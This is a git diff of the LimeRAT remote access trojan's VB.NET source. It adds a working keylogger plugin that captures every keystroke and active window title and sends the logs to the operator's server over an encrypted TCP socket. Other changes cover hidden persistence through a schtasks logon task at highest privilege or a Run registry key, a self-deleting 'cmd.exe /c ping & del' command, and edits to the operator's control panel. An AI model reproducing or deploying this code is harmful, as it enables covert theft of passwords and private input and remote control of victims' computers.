diff --git a/.vs/LimeRAT/DesignTimeBuild/.dtbcache b/.vs/LimeRAT/DesignTimeBuild/.dtbcache index 6f58839..8aeaee0 100644 Binary files a/.vs/LimeRAT/DesignTimeBuild/.dtbcache and b/.vs/LimeRAT/DesignTimeBuild/.dtbcache differ diff --git a/.vs/LimeRAT/v15/.suo b/.vs/LimeRAT/v15/.suo index af19b3b..70b833d 100644 Binary files a/.vs/LimeRAT/v15/.suo and b/.vs/LimeRAT/v15/.suo differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide index 95b9930..8194192 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm index 4ba04de..ccb4125 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal index 66fe7f6..dd1d553 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal differ diff --git a/Project/Client/C_Commands.vb b/Project/Client/C_Commands.vb index a8345c9..e0e0b94 100644 --- a/Project/Client/C_Commands.vb +++ b/Project/Client/C_Commands.vb @@ -40,9 +40,6 @@ Catch ex As Exception End Try - Case "KL" - C_TcpClient.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp")) - Case "CPL" 'check if plugin in installed, or ask server to send it If GTV(A(1)) = Nothing Then C_TcpClient.Send("GPL" + SPL + A(1)) @@ -81,6 +78,7 @@ Next Next Catch ex As Exception + C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName) C_TcpClient.Send("MSG" + SPL + "Plugin Error! " + ex.Message) End Try End Sub diff --git a/Project/Client/C_Installation.vb b/Project/Client/C_Installation.vb index fd63313..258d792 100644 --- a/Project/Client/C_Installation.vb +++ b/Project/Client/C_Installation.vb @@ -52,12 +52,10 @@ Private Shared Sub AddReg(ByVal Privileges As Boolean) Try - If Privileges = True Then - 'Microsoft.Win32.Registry.LocalMachine.CreateSubKey - '"schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr " - Shell(BS(Convert.FromBase64String("c2NodGFza3MgL2NyZWF0ZSAvZiAvc2MgT05MT0dPTiAvUkwgSElHSEVTVCAvdG4gTGltZVJBVC1BZG1pbiAvdHIg")) + """'" & C_Settings.fullpath & "'""", AppWinStyle.Hide, False, -1) + If Privileges Then + Shell("schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr " + """'" & C_Settings.fullpath & "'""", AppWinStyle.Hide, False, -1) Else - Microsoft.Win32.Registry.CurrentUser.CreateSubKey(BS(Convert.FromBase64String("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=="))).SetValue(C_Settings.EXE, C_Settings.fullpath) + Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(C_Settings.EXE, C_Settings.fullpath) End If Catch : End Try End Sub diff --git a/Project/Client/C_Main.vb b/Project/Client/C_Main.vb index 83542a0..e4e6ad4 100644 --- a/Project/Client/C_Main.vb +++ b/Project/Client/C_Main.vb @@ -1,5 +1,5 @@ '################################################################## -'## N Y A N C A T ||| Updated on Sept/22/2018 ## +'## N Y A N C A T ||| Updated on Sept/25/2018 ## '################################################################## '## ## '## ## @@ -80,9 +80,6 @@ Namespace Lime _PIN.Start() End If - Dim _KLG As Threading.Thread = New Threading.Thread(AddressOf StartKLG) - _KLG.Start() - Dim CHK As Threading.Thread = New Threading.Thread(AddressOf Checking) CHK.Start() #End Region @@ -207,25 +204,6 @@ Namespace Lime End Try End Sub - Private Shared Sub StartKLG() - Try - If GTV("_KLG") = Nothing Then - While True - If C.Alive = True Then - Threading.Thread.CurrentThread.Sleep(11000) - C.Send("PLKLG") - Exit While - End If - Threading.Thread.Sleep(5000) - End While - - Else - C_Commands.Plugin(GZip(Convert.FromBase64String(GTV("_KLG")), False)) - End If - Catch ex As Exception - C.Send("MSG" + SPL + "_KLG Error! " + ex.Message) - End Try - End Sub #End Region End Class diff --git a/Project/Client/C_TcpClient.vb b/Project/Client/C_TcpClient.vb index e7e098d..27dc9b2 100644 --- a/Project/Client/C_TcpClient.vb +++ b/Project/Client/C_TcpClient.vb @@ -108,9 +108,9 @@ re: Alive = True MS = New IO.MemoryStream - Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.4A", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL, + Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.4B", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL, C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, "...", SPL, " ", SPL, - C_ID.Privileges.ToString, SPL, C_Settings.fullpath, SPL, Environment.ProcessorCount)) + C_ID.Privileges.ToString, SPL, C_Settings.fullpath)) Dim T As New System.Threading.TimerCallback(AddressOf PING) Tick = New System.Threading.Timer(T, Nothing, 0, 1) diff --git a/Project/Plugins/ENC/Resources/DECF.exe b/Project/Plugins/ENC/Resources/DECF.exe index 7ee88ac..cdb7dcc 100644 Binary files a/Project/Plugins/ENC/Resources/DECF.exe and b/Project/Plugins/ENC/Resources/DECF.exe differ diff --git a/Project/Plugins/KLG/KLG.vb b/Project/Plugins/KLG/KLG.vb new file mode 100644 index 0000000..3789dec --- /dev/null +++ b/Project/Plugins/KLG/KLG.vb @@ -0,0 +1,146 @@ +Imports System.Runtime.InteropServices +Imports System.Windows.Forms + +Public Class KLG + + ' njlogger v4 +#Region "API" + + Private Shared Function ToUnicodeEx(ByVal wVirtKey As UInteger, ByVal wScanCode As UInteger, ByVal lpKeyState As Byte(), ByVal pwszBuff As System.Text.StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInteger, + ByVal dwhkl As IntPtr) As Integer + End Function + + Private Shared Function GetKeyboardState(ByVal lpKeyState As Byte()) As Boolean + End Function + + Private Shared Function MapVirtualKey(ByVal uCode As UInteger, ByVal uMapType As UInteger) As UInteger + End Function + Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer + Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Integer) As Integer + Private Declare Function GetForegroundWindow Lib "user32" () As IntPtr + Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short +#End Region + Private LastAV As Integer ' Last Active Window Handle + Private LastAS As String ' Last Active Window Title + Private lastKey As Keys = Nothing ' Last Pressed Key + + Private Function AV() As String ' Get Active Window + Try + Dim o = GetForegroundWindow + Dim id As Integer + GetWindowThreadProcessId(o, id) + Dim p As Object = Process.GetProcessById(id) + If o.ToInt32 = LastAV And LastAS = p.MainWindowTitle Or p.MainWindowTitle.Length = 0 Then + Else + + LastAV = o.ToInt32 + LastAS = p.MainWindowTitle + Return vbNewLine & "[ " & HM() & " " & p.ProcessName & " " & LastAS & " ]" & vbNewLine + End If + Catch ex As Exception + End Try + Return "" + End Function + Public Clock As New Microsoft.VisualBasic.Devices.Clock + Private Function HM() As String + Try + Return Clock.LocalTime.ToString("yy/MM/dd") + Catch ex As Exception + Return "??/??/??" + End Try + End Function + Public Logs As String = "" + Dim keyboard As Object = New Microsoft.VisualBasic.Devices.Keyboard + Private Shared Function VKCodeToUnicode(ByVal VKCode As UInteger) As String + Try + Dim sbString As New System.Text.StringBuilder() + Dim bKeyState As Byte() = New Byte(254) {} + Dim bKeyStateStatus As Boolean = GetKeyboardState(bKeyState) + If Not bKeyStateStatus Then + Return "" + End If + Dim lScanCode As UInteger = MapVirtualKey(VKCode, 0) + Dim h As IntPtr = GetForegroundWindow() + Dim id As Integer = 0 + Dim Aid As Integer = GetWindowThreadProcessId(h, id) + Dim HKL As IntPtr = GetKeyboardLayout(Aid) + ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, CInt(5), CUInt(0), + HKL) + Return sbString.ToString() + Catch ex As Exception + End Try + Return CType(VKCode, Keys).ToString + End Function + Private Function Fix(ByVal k As Keys) As String + Dim isuper As Boolean = keyboard.ShiftKeyDown + If keyboard.CapsLock = True Then + If isuper = True Then + isuper = False + Else + isuper = True + End If + End If + Try + Select Case k + Case Keys.F1, Keys.F2, Keys.F3, Keys.F4, Keys.F5, Keys.F6, Keys.F7, Keys.F8, Keys.F9, Keys.F10, Keys.F11, Keys.F12, Keys.End, Keys.Delete, Keys.Back + Return "[" & k.ToString & "]" + Case Keys.LShiftKey, Keys.RShiftKey, Keys.Shift, Keys.ShiftKey, Keys.Control, Keys.ControlKey, Keys.RControlKey, Keys.LControlKey, Keys.Alt + Return "" + Case Keys.Space + Return " " + Case Keys.Enter, Keys.Return + If Logs.EndsWith("[ENTER]" & vbNewLine) Then + Return "" + End If + Return "[ENTER]" & vbNewLine + Case Keys.Tab + Return "[TAP]" & vbNewLine + Case Else + If isuper = True Then + Return VKCodeToUnicode(k).ToUpper + Else + Return VKCodeToUnicode(k) + End If + End Select + Catch ex As Exception + If isuper = True Then + Return ChrW(k).ToString.ToUpper + Else + Return ChrW(k).ToString.ToLower + End If + End Try + End Function + + + Public Sub WRK() + + Try + Dim lp As Integer = 0 + While Main.Alive = True + lp += 1 + For i As Integer = 0 To 255 + If GetAsyncKeyState(i) = -32767 Then + Dim k As Keys = i + Dim s = Fix(k) + If s.Length > 0 Then + Logs &= AV() + Logs &= s + End If + lastKey = k + End If + Next + If lp = 250 Then + lp = 0 + Main.Send("KL" + Main.SPL + Main.BOT + Main.SPL + Logs) + Logs = Nothing + End If + Threading.Thread.CurrentThread.Sleep(1) + + End While + Catch ex As Exception + + End Try + + + End Sub +End Class diff --git a/Project/Plugins/KLG/KLG.vbproj b/Project/Plugins/KLG/KLG.vbproj index 6fe4da2..4db5c1e 100644 --- a/Project/Plugins/KLG/KLG.vbproj +++ b/Project/Plugins/KLG/KLG.vbproj @@ -62,6 +62,7 @@ + diff --git a/Project/Plugins/KLG/Main.vb b/Project/Plugins/KLG/Main.vb index 21e7937..0ef69aa 100644 --- a/Project/Plugins/KLG/Main.vb +++ b/Project/Plugins/KLG/Main.vb @@ -1,155 +1,233 @@ - +Imports System.Net.Sockets +Imports System.Security.Cryptography + +'# This should work since the dll doesn't need to listen for server requests. + +'Dim Client As TcpClient = New TcpClient() +'Client.Connect(HOST, PORT) +'Client.SendBufferSize = 102400 +'Client.SendTimeout = -1 +'Client.Client.SendTimeout = -1 +'Client.Client.SendBufferSize = 102400 +'Try +'Dim r As System.IO.MemoryStream = New System.IO.MemoryStream() +'Dim b As Byte() = System.Text.Encoding.UTF8.GetBytes(AES_Encrypt("#YOURCASE#" & "|'L'|" & "#DATA1#" & "|'L'|" & "#DATA2#") & "|'N'|") +'r.Write(b, 0, b.Length) +'Client.Client.Send(b, 0, b.Length, SocketFlags.None) +'Client.Client.Poll(-1, SelectMode.SelectRead) +'r.Dispose() +'Client.Client.Close(20000) +'Catch ex6 As Exception +'End Try + Public Class Main - ' njlogger v4 -#Region "API" - - Public Shared Function ToUnicodeEx(ByVal wVirtKey As UInteger, ByVal wScanCode As UInteger, ByVal lpKeyState As Byte(), ByVal pwszBuff As System.Text.StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInteger, - ByVal dwhkl As IntPtr) As Integer - End Function - - Public Shared Function GetKeyboardState(ByVal lpKeyState As Byte()) As Boolean - End Function - - Public Shared Function MapVirtualKey(ByVal uCode As UInteger, ByVal uMapType As UInteger) As UInteger - End Function - Public Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer - Public Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Integer) As Integer - Public Declare Function GetForegroundWindow Lib "user32" () As IntPtr - Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short -#End Region - Public Shared LAW As Integer ' Last Active Window Handle - Public Shared LAT As String ' Last Active Window Title - Public Shared LK As Windows.Forms.Keys = Nothing ' Last Pressed Key + Public Shared C As TcpClient = Nothing + Public Shared ENDOF As String + Public Shared HOST As String + Public Shared PORT As Integer + Public Shared SPL As String + Public Shared PASS As String + Public Shared M As New IO.MemoryStream + Public Shared FULLPATH As String + Public Shared HWID As String + Public Shared BOT As String + Public Shared Pastebin As String + + Public Shared Sub CN(ByVal H As String, ByVal P As Integer, ByVal K As String, ByVal SP As String, ByVal PW As String, ByVal FP As String, ByVal HW As String, ByVal BT As String, ByVal PB As String) + + ENDOF = K + HOST = H + PORT = P + SPL = SP + PASS = PW + FULLPATH = FP + HWID = HW + BOT = BT + Pastebin = PB + + Dim lp As Integer = 0 - Public Shared Function AV() As String ' Get Active Window + Alive = False Try - Dim o = GetForegroundWindow - Dim id As Integer - GetWindowThreadProcessId(o, id) - Dim p As Object = Diagnostics.Process.GetProcessById(id) - If o.ToInt32 = LAW And LAT = p.MainWindowTitle Or p.MainWindowTitle.Length = 0 Then - Else - - LAW = o.ToInt32 - LAT = p.MainWindowTitle - Return vbNewLine & ChrW(1) & HM() & " " & p.ProcessName & " " & LAT & ChrW(1) & vbNewLine - End If + C.Client.Disconnect(False) Catch ex As Exception End Try - Return "" - End Function - Public Shared _Time As New Microsoft.VisualBasic.Devices.Clock - Public Shared Function HM() As String Try - Return _Time.LocalTime.ToString("yy/MM/dd") + M.Dispose() Catch ex As Exception - Return "??/??/??" End Try - End Function - Public Shared Logs As String = "" - Public Shared KYB As Object = New Microsoft.VisualBasic.Devices.Keyboard - Public Shared Function VKCodeToUnicode(ByVal VKCode As UInteger) As String + M = New IO.MemoryStream Try - Dim sbString As New System.Text.StringBuilder() - Dim bKeyState As Byte() = New Byte(254) {} - Dim bKeyStateStatus As Boolean = GetKeyboardState(bKeyState) - If Not bKeyStateStatus Then - Return "" - End If - Dim lScanCode As UInteger = MapVirtualKey(VKCode, 0) - Dim h As IntPtr = GetForegroundWindow() - Dim id As Integer = 0 - Dim Aid As Integer = GetWindowThreadProcessId(h, id) - Dim HKL As IntPtr = GetKeyboardLayout(Aid) - ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, CInt(5), CUInt(0), - HKL) - Return sbString.ToString() + C = New Net.Sockets.TcpClient + C.ReceiveTimeout = -1 + C.SendTimeout = -1 + C.SendBufferSize = 999999 + C.ReceiveBufferSize = 999999 + C.Client.SendBufferSize = 999999 + C.Client.ReceiveBufferSize = 999999 + lp = 0 + C.Client.Connect(H, P) + Alive = True + + Send("KL" + SPL + BOT + SPL + "") + + Dim WR As New KLG + Dim T As New Threading.Thread(AddressOf WR.WRK) + T.Start() + Catch ex As Exception End Try - Return CType(VKCode, Windows.Forms.Keys).ToString - End Function - Public Shared Function Fix(ByVal k As Windows.Forms.Keys) As String - Dim isuper As Boolean = KYB.ShiftKeyDown - If KYB.CapsLock = True Then - If isuper = True Then - isuper = False - Else - isuper = True - End If - End If + GoTo re +re: Try - Select Case k - Case Windows.Forms.Keys.F1, Windows.Forms.Keys.F2, Windows.Forms.Keys.F3, Windows.Forms.Keys.F4, Windows.Forms.Keys.F5, Windows.Forms.Keys.F6, Windows.Forms.Keys.F7, Windows.Forms.Keys.F8, Windows.Forms.Keys.F9, Windows.Forms.Keys.F10, Windows.Forms.Keys.F11, Windows.Forms.Keys.F12, Windows.Forms.Keys.End, Windows.Forms.Keys.Delete, Windows.Forms.Keys.Back - Return "[" & k.ToString & "]" - Case Windows.Forms.Keys.LShiftKey, Windows.Forms.Keys.RShiftKey, Windows.Forms.Keys.Shift, Windows.Forms.Keys.ShiftKey, Windows.Forms.Keys.Control, Windows.Forms.Keys.ControlKey, Windows.Forms.Keys.RControlKey, Windows.Forms.Keys.LControlKey, Windows.Forms.Keys.Alt - Return "" - Case Windows.Forms.Keys.Space - Return " " - Case Windows.Forms.Keys.Enter, Windows.Forms.Keys.Return - If Logs.EndsWith("[ENTER]" & vbNewLine) Then - Return "" - End If - Return "[ENTER]" & vbNewLine - Case Windows.Forms.Keys.Tab - Return "[TAP]" & vbNewLine - Case Else - If isuper = True Then - Return VKCodeToUnicode(k).ToUpper - Else - Return VKCodeToUnicode(k) + If C Is Nothing Then GoTo cc + If C.Client.Connected = False Then GoTo cc + If Alive = False Then GoTo cc + lp += 1 + If lp > 500 Then + lp = 0 + ' check if i am still connected + If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then GoTo cc + End If + If C.Available > 0 Then + Dim B(C.Available - 1) As Byte + C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None) + M.Write(B, 0, B.Length) +rr: + If BS(M.ToArray).Contains(K) Then ' split packet.. + Dim A As Array = SplitByWord(M.ToArray, K) + Dim T As New Threading.Thread(AddressOf Data) + T.Start(A(0)) + M.Dispose() + M = New IO.MemoryStream + If A.Length = 2 Then + M.Write(A(1), 0, A(1).length) + GoTo cc End If - End Select - Catch ex As Exception - If isuper = True Then - Return ChrW(k).ToString.ToUpper - Else - Return ChrW(k).ToString.ToLower + End If End If + Catch ex As Exception + GoTo cc End Try - End Function + Threading.Thread.CurrentThread.Sleep(1) + GoTo re +cc: + CloseMe() + End Sub + Public Shared Sub CloseMe() + Alive = False + Threading.Thread.Sleep(1) + Try + C.Client.Close() + Catch ex As Exception + End Try + Try + C.Close() + Catch ex2 As Exception + End Try + C = Nothing + Try + M.Dispose() + Catch ex3 As Exception + End Try + End Sub - Public Shared _KLG As String = IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp" - Public Shared Sub CN(ByVal H As String, ByVal P As Integer, ByVal K As String, ByVal SP As String, ByVal PW As String, ByVal FP As String, ByVal HW As String, ByVal BT As String, ByVal PB As String) + Public Shared Sub Data(ByVal b As Byte()) + Dim A As String() = Split(AES_Decrypt(BS(b)), SPL) Try - Logs = (IO.File.ReadAllText(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(_KLG)))) + Select Case A(0) + Case "Close" + CloseMe() + + End Select Catch ex As Exception End Try + End Sub + + Public Shared Function SplitByWord(ByVal b As Byte(), ByVal WORD As String) As Array + Dim a As New List(Of Byte()) + Dim M As New IO.MemoryStream + Dim MM As New IO.MemoryStream + Dim T As String() = Split(BS(b), WORD) + M.Write(b, 0, T(0).Length) + MM.Write(b, T(0).Length + WORD.Length, b.Length - (T(0).Length + WORD.Length)) + a.Add(M.ToArray) + a.Add(MM.ToArray) + M.Dispose() + MM.Dispose() + Return a.ToArray + End Function + + Public Shared Sub Send(ByVal b As Byte()) + If Alive = False Then Exit Sub Try - Dim lp As Integer = 0 - While True - lp += 1 - For i As Integer = 0 To 255 - If GetAsyncKeyState(i) = -32767 Then - Dim kk As Windows.Forms.Keys = i - Dim s = Fix(kk) - If s.Length > 0 Then - Logs &= AV() - Logs &= s - End If - LK = kk - End If - Next - If lp = 1000 Then - lp = 0 - Dim mx As Integer = 250 * 1024 'refresh after 250kb - If Logs.Length > mx Then - Logs = Logs.Remove(0, Logs.Length - mx) - End If - IO.File.WriteAllText(_KLG, Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(Logs))) - End If - Threading.Thread.CurrentThread.Sleep(1) + Dim r As Object = New IO.MemoryStream + r.Write(b, 0, b.Length) + r.Write(SB(ENDOF), 0, ENDOF.Length) + C.Client.Send(r.ToArray, 0, r.Length, Net.Sockets.SocketFlags.None) + r.Dispose() + Catch ex As Exception + Alive = False + End Try + End Sub - End While + Public Shared Sub Send(ByVal S As String) + Send(SB(AES_Encrypt(S))) + End Sub + + Public Shared Alive As Boolean = False + + Public Shared Function SB(ByVal s As String) As Byte() + Return Text.Encoding.UTF8.GetBytes(s) + End Function + + Public Shared Function BS(ByVal b As Byte()) As String + Return Text.Encoding.UTF8.GetString(b) + End Function + + Public Shared Function AES_Encrypt(ByVal input As String) + Dim AES As New RijndaelManaged + Dim Hash_AES As New MD5CryptoServiceProvider + Dim encrypted As String = "" + Try + Dim hash(31) As Byte + Dim temp As Byte() = Hash_AES.ComputeHash(SB(PASS)) + Array.Copy(temp, 0, hash, 0, 16) + Array.Copy(temp, 0, hash, 15, 16) + AES.Key = hash + AES.Mode = CipherMode.ECB + Dim DESEncrypter As ICryptoTransform = AES.CreateEncryptor + Dim Buffer As Byte() = SB(input) + encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return encrypted Catch ex As Exception + End Try + End Function + Public Shared Function AES_Decrypt(ByVal input As String) + Dim AES As New RijndaelManaged + Dim Hash_AES As New MD5CryptoServiceProvider + Dim decrypted As String = "" + Try + Dim hash(31) As Byte + Dim temp As Byte() = Hash_AES.ComputeHash(SB(PASS)) + Array.Copy(temp, 0, hash, 0, 16) + Array.Copy(temp, 0, hash, 15, 16) + AES.Key = hash + AES.Mode = CipherMode.ECB + Dim DESDecrypter As ICryptoTransform = AES.CreateDecryptor + Dim Buffer As Byte() = Convert.FromBase64String(input) + decrypted = BS(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return decrypted + Catch ex As Exception End Try - End Sub -End Class + End Function +End Class diff --git a/Project/Plugins/PCL/Main.vb b/Project/Plugins/PCL/Main.vb index e12bd66..0bc3409 100644 --- a/Project/Plugins/PCL/Main.vb +++ b/Project/Plugins/PCL/Main.vb @@ -58,21 +58,19 @@ Try If DROP Then IO.File.SetAttributes(FullPath, IO.FileAttributes.Normal) - Threading.Thread.Sleep(100) + Threading.Thread.Sleep(50) - 'schtasks /Delete /tn LimeRAT-Admin /F - Try : Shell(BS(Convert.FromBase64String("c2NodGFza3MgL0RlbGV0ZSAvdG4gTGltZVJBVC1BZG1pbiAvRg==")), AppWinStyle.Hide, False, -1) : Catch : End Try - Try : Microsoft.Win32.Registry.CurrentUser.CreateSubKey(BS(Convert.FromBase64String("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=="))).DeleteValue(EXE) : Catch : End Try + Try : Shell("schtasks /Delete /tn LimeRAT-Admin /F", AppWinStyle.Hide, False, -1) : Catch : End Try + Try : Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run\").DeleteValue(EXE) : Catch : End Try End If Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree("Software\" & HWID) CriticalProcesses_Disable() - Threading.Thread.Sleep(100) + Threading.Thread.Sleep(50) MT() - 'cmd.exe /c ping 0 -n 2 & del - Shell(BS(Convert.FromBase64String("Y21kLmV4ZSAvYyBwaW5nIDAgLW4gMiAmIGRlbCA=")) & """" & FullPath & """", AppWinStyle.Hide, False, -1) 'Delete NEXE + Shell("cmd.exe /c ping 0 -n 2 & del " & """" & FullPath & """", AppWinStyle.Hide, False, -1) Environment.Exit(0) Catch : End Try diff --git a/Project/Server/Classes/S_Settings.vb b/Project/Server/Classes/S_Settings.vb index 5935d9b..fc2590a 100644 --- a/Project/Server/Classes/S_Settings.vb +++ b/Project/Server/Classes/S_Settings.vb @@ -3,7 +3,7 @@ Public Shared PORT As Integer Public Shared EncryptionKey As String Public Shared IP As String = String.Empty - Public Shared StubVer As String = "v0.1.8.4A" + Public Shared StubVer As String = "v0.1.8.4B" Public Shared SPL As String = "|'L'|" Public Shared ENDOF As String = "|'N'|" diff --git a/Project/Server/Forms/About.Designer.vb b/Project/Server/Forms/About.Designer.vb index d6fd179..6bbada4 100644 --- a/Project/Server/Forms/About.Designer.vb +++ b/Project/Server/Forms/About.Designer.vb @@ -139,10 +139,10 @@ Partial Class About Me.MetroLabel7.FontWeight = MetroFramework.MetroLabelWeight.Bold Me.MetroLabel7.Location = New System.Drawing.Point(197, 197) Me.MetroLabel7.Name = "MetroLabel7" - Me.MetroLabel7.Size = New System.Drawing.Size(71, 19) + Me.MetroLabel7.Size = New System.Drawing.Size(70, 19) Me.MetroLabel7.Style = MetroFramework.MetroColorStyle.Lime Me.MetroLabel7.TabIndex = 0 - Me.MetroLabel7.Text = ": 0.1.8.4A" + Me.MetroLabel7.Text = ": 0.1.8.4B" Me.MetroLabel7.Theme = MetroFramework.MetroThemeStyle.Dark ' 'MetroLabel8 diff --git a/Project/Server/Forms/Keylogger.Designer.vb b/Project/Server/Forms/Keylogger.Designer.vb index 648bc0a..787e273 100644 --- a/Project/Server/Forms/Keylogger.Designer.vb +++ b/Project/Server/Forms/Keylogger.Designer.vb @@ -24,21 +24,12 @@ Partial Class Keylogger Private Sub InitializeComponent() Me.components = New System.ComponentModel.Container() Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Keylogger)) - Me.MetroButton1 = New MetroFramework.Controls.MetroButton() Me.RichTextBox1 = New System.Windows.Forms.RichTextBox() Me.MetroStyleManager1 = New MetroFramework.Components.MetroStyleManager(Me.components) Me.Timer1 = New System.Windows.Forms.Timer(Me.components) CType(Me.MetroStyleManager1, System.ComponentModel.ISupportInitialize).BeginInit() Me.SuspendLayout() ' - 'MetroButton1 - ' - Me.MetroButton1.Location = New System.Drawing.Point(23, 115) - Me.MetroButton1.Name = "MetroButton1" - Me.MetroButton1.Size = New System.Drawing.Size(128, 29) - Me.MetroButton1.TabIndex = 3 - Me.MetroButton1.Text = "Refresh" - ' 'RichTextBox1 ' Me.RichTextBox1.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ @@ -46,10 +37,10 @@ Partial Class Keylogger Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.RichTextBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) Me.RichTextBox1.ForeColor = System.Drawing.SystemColors.Control - Me.RichTextBox1.Location = New System.Drawing.Point(23, 181) + Me.RichTextBox1.Location = New System.Drawing.Point(23, 143) Me.RichTextBox1.Name = "RichTextBox1" Me.RichTextBox1.ReadOnly = True - Me.RichTextBox1.Size = New System.Drawing.Size(937, 392) + Me.RichTextBox1.Size = New System.Drawing.Size(937, 430) Me.RichTextBox1.TabIndex = 2 Me.RichTextBox1.Text = "" ' @@ -69,7 +60,6 @@ Partial Class Keylogger Me.AutoScaleDimensions = New System.Drawing.SizeF(9.0!, 20.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(983, 608) - Me.Controls.Add(Me.MetroButton1) Me.Controls.Add(Me.RichTextBox1) Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) Me.Name = "Keylogger" @@ -81,8 +71,6 @@ Partial Class Keylogger Me.ResumeLayout(False) End Sub - - Friend WithEvents MetroButton1 As MetroFramework.Controls.MetroButton Friend WithEvents RichTextBox1 As RichTextBox Friend WithEvents MetroStyleManager1 As MetroFramework.Components.MetroStyleManager Friend WithEvents Timer1 As Timer diff --git a/Project/Server/Forms/Keylogger.vb b/Project/Server/Forms/Keylogger.vb index 5a77c0d..370c01b 100644 --- a/Project/Server/Forms/Keylogger.vb +++ b/Project/Server/Forms/Keylogger.vb @@ -1,8 +1,10 @@ -Public Class Keylogger +Imports System.ComponentModel + +Public Class Keylogger Public M As Main Public U As Integer - Private Sub MetroButton1_Click(sender As Object, e As EventArgs) Handles MetroButton1.Click + Private Sub MetroButton1_Click(sender As Object, e As EventArgs) M.S.Send(U, "KL") End Sub @@ -11,4 +13,8 @@ Me.Close() End If End Sub + + Private Sub Keylogger_Closing(sender As Object, e As CancelEventArgs) Handles Me.Closing + M.S.Send(U, "Close") + End Sub End Class \ No newline at end of file diff --git a/Project/Server/Forms/Main.Designer.vb b/Project/Server/Forms/Main.Designer.vb index 5eb69e6..913e1c0 100644 --- a/Project/Server/Forms/Main.Designer.vb +++ b/Project/Server/Forms/Main.Designer.vb @@ -77,13 +77,15 @@ Partial Class Main Me.CloseToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.UninstallToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.ToolStripSeparator2 = New System.Windows.Forms.ToolStripSeparator() - Me.NoteToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() - Me.ClientColorToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() - Me.ClientFolderToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.ToolStripSeparator3 = New System.Windows.Forms.ToolStripSeparator() Me.OnConnectToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.ToolStripSeparator4 = New System.Windows.Forms.ToolStripSeparator() Me.AboutToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() + Me.ListviewOptionsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() + Me.ClientColorToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem() + Me.ClientNoteToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() + Me.ClientFolderToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem() + 